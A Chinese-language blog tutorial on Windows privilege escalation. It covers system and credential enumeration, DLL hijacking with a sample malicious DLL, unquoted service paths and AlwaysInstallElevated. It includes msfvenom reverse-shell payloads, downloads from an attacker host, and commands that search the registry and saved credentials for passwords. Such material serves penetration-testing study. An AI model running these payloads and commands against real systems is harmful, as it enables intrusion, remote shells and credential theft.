Windows提权基础

信息收集

用户枚举

当前用户的权限:whoami /priv

列出用户:net users

列出用户的详细信息:nte user username

列出用户组:net localgroup

列出特定组成员:net localgroup groupname

收集系统信息

systeminfo 命令将返回目标系统的概述信息。

通常输出信息数据量会很大,可以过滤输出

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

计算机名称还可以提供一些关于系统用途或用户身份的信息。hostname命令可用于此目的.

搜索文件

findstr命令可用于以类似于下面给出的格式查找此类文件

findstr /si password *.txt

findstr:搜索文件中的文本模式。

/si:搜索当前目录和所有子目录(s),忽略大写/小写差异(i)

password:该命令将在文件中搜索字符串“password”

*.txt:搜索将涵盖具有 .txt 扩展名的文件

补丁级别

wmic qfe get Caption,Description,HotFixID,InstalledOn

网络连接

netstat -ano 命令可用于列出目标系统上的所有侦听端口

  • -a:显示目标系统上的所有活动连接和侦听端口。
  • -n: 防止名称解析。IP 地址和端口以数字显示,而不是尝试使用DNS解析名称。
  • -o:显示使用每个列出的连接的进程 ID。

计划任务

schtasks 命令可用于查询计划任务

schtasks /query /fo LIST /v

驱动程序

driverquery 命令将列出目标系统上安装的驱动程序

虽然操作系统更新通常相对定期进行,但驱动程序可能不会经常更新。列出目标系统上可用的驱动程序也可以提供权限提升方向。

杀毒软件

sc query windefendWindows Defender的服务名称是windefend

第二种方法可以让您在事先不知道其服务名称的情况下检测防病毒软件

sc queryex type=service

提醒:要在目标系统上运行 PowerUp,可能需要绕过执行策略限制。为此,可以使用以下命令启动 PowerShell。

powershell.exe -nop -exec bypass

易受攻击的软件

安装在目标系统上的软件可以提供各种权限提升机会。

wmic 之前看到目标系统上安装的软件及其版本。

wmic product可以收集的已安装软件的信息。

wmic product get name,version,vendor

wmic service list brief检查正在运行的服务

wmic service list brief | findstr "Running"

sc qc列出有关服务的更多信息

DLL劫持

如果我们可以用特制的 DLL 文件切换合法的 DLL 文件,我们的代码将由应用程序运行。DLL 劫持需要一个应用程序(通常是一个 exe 文件),该应用程序要么缺少 DLL 文件,要么可以使用搜索顺序插入恶意 DLL 文件。

DLL文件简介

Windows使用很多dll文件

一些文件类型是“应用程序”,而其他文件类型(查找 .dll 扩展名)被描述为“应用程序扩展名”。因此,当应用程序运行时,它会出于不同目的“调用”这些其他文件。任何应用程序都可以拥有自己的 DLL 文件,但也可以调用 Windows DLL 文件。

DLL劫持场景包括用恶意 DLL 文件替换合法 DLL 文件,该恶意 DLL 文件将由可执行文件调用并运行。

DLL 搜索顺序

如果启用SafeDllSearchMode,则搜索顺序如下:

  1. 加载应用程序的目录。
  2. 系统目录。使用 GetSystemDirectory 函数获取该目录的路径。
  3. 16 位系统目录。没有函数获取这个目录的路径,但是被搜索了。
  4. Windows 目录。使用 GetWindowsDirectory 函数获取该目录的路径。
  5. 当前目录。
  6. PATH 环境变量中列出的目录。请注意,这不包括App Paths注册表项指定的每个应用程序路径。计算DLL搜索路径 时不使用App Paths键。

如果禁用SafeDllSearchMode,则搜索顺序如下:

  1. 加载应用程序的目录。
  2. 当前目录。
  3. 系统目录。使用 GetSystemDirectory 函数获取该目录的路径。
  4. 16 位系统目录。没有函数获取这个目录的路径,但是被搜索了。
  5. Windows 目录。使用 GetWindowsDirectory 函数获取该目录的路径。
  6. PATH 环境变量中列出的目录。请注意,这不包括App Paths注册表项指定的每个应用程序路径。计算DLL 搜索路径时不使用 App Paths键。

如果在系统上拥有的用户权限允许我们按搜索顺序写入任何文件夹,就有可能存在 DLL 劫持漏洞。

查找 DLL 劫持漏洞

可用于查找潜在 DLL 劫持漏洞的工具是 Process Monitor

如果想检查软件是否存在潜在的 DLL 劫持漏洞,需要在测试环境中安装该软件进行研究。

创建恶意 DLL 文件

创建的 DLL 文件可以是反向 shell 或操作系统命令,具体取决于希望在目标系统上实现的目标下面的示例是一个框架 DLL 文件,可以根据需要进行调整。

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    
    
    if (dwReason == DLL_PROCESS_ATTACH) {
    
    
        system("cmd.exe /k whoami > C:\\Temp\\dll.txt");
        ExitProcess(0);
    }
    return TRUE;
}

mingw 编译器可用于生成 DLL 文件,命令如下:

x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll

使用apt install gcc-mingw-w64-x86-64命令安装 Mingw 编译器。

编译完成后,我们需要将dll 文件移动到目标系统的 Temp 文件夹中。可以使用以下 PowerShell 命令将 .dll 文件下载到目标系统:

wget -O hijackme.dll ATTACKBOX_IP:PORT/hijackme.dll

再次停止并启动 dllsvc 服务:

sc stop dllsvc & sc start dllsvc

未引用的服务路径

再windows中启动服务时,操作系统必须查找并运行可执行文件。
例如,netlogon服务(负责对域中用户进行身份验证)实际上是指C:\Windows\system32\lsass.exe 二进制文件。

当服务启动时,Windows 会遵循类似于DLL中看到的搜索顺序
例如现有服务srvc它的二进制路径设置为 C:\Program Files\topservice folder\subservice subfolder\srvc.exe

从人眼来看以上路径与"C:\Program Files\topservice folder\subservice subfolder\srvc.exe"不同。

Windows处理方式为,如果路径写在引号之间,Windows 将直接转到正确的位置并启动 service.exe

但是,如果路径没有写在引号之间,并且路径中的任何文件夹名称中有空格,
Windows将附加".exe".并开始寻找可执行文件,从最短的路径开始在以上的路径中,
这将是C:\Program.exe。如果 program.exe 不可用,
第二次尝试是在C:\Program Files\ 下运行 topservice.exe。
如果这也失败,将对 C:\Program Files\topservice folder\subservice.exe 进行另一次尝试。重复此过程,直到找到可执行文件。

查找未引用的服务路径漏洞

winPEAS 和 PowerUp.ps1 等工具会检测未引用的服务路径。
需要确保满足利用该漏洞的其他要求:

  1. 能够写入路径上的文件夹
  2. 能够重新启动服务

使用winPEAS找出路径没有在引号之间的服务名称
sc qc unquotedsvc命令进一步检查此服务的二进制路径
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
然后需要检查我们对路径中文件夹的权限 如:
.\accesschk64.exe /accepteula -dvqw "C:\Program Files\Unquoted Path Service\"
输出将列出对“Program Files”文件夹具有读取 ® 和写入 (W) 权限的用户组

找到可写入的文件夹后,上传反向shell。并在攻击机上监听4444端口
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.71.123 LPORT=4444 -f exe > Common.exe

powershell wget http://10.11.71.123/Common.exe -o C:\Program Files\Unquoted Path Service\Common.exe

生成文件并将其移动到目标计算机上的正确位置后,需要重新启动易受攻击的服务。
net start unquotedsvc

运行成功后得到reverse shell

计划任务

schtasks命令从命令行列出计划任务
Autoruns64.exe

AlwaysInstallElevated

Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。
通常以启动它的用户的权限级别运行。但是,如果安装需要管理员权限,则可以将它们配置为以更高的权限运行。

此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些。
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
为了能够利用此漏洞,两者都应该设置。否则,将无法利用。
如果设置了这些,可以使用 生成恶意 .msi 文件msfvenom,如下所示。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.171.123 LPORT=4444 -f msi -o malicious.msi

在目标系统上运行
C:\Users\user\Desktop>msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

密码

保存的凭据
 Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据。
 cmdkey /list
 如果您看到任何值得尝试的凭据,您可以将它们与runas 命令和/savecred选项一起使用,runas /savecred /user:admin reverse_shell.exe

注册表项
可以使用以下命令查询可能包含密码的注册表项
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

猜你喜欢

转载自blog.csdn.net/Liuzixuan0207/article/details/127688669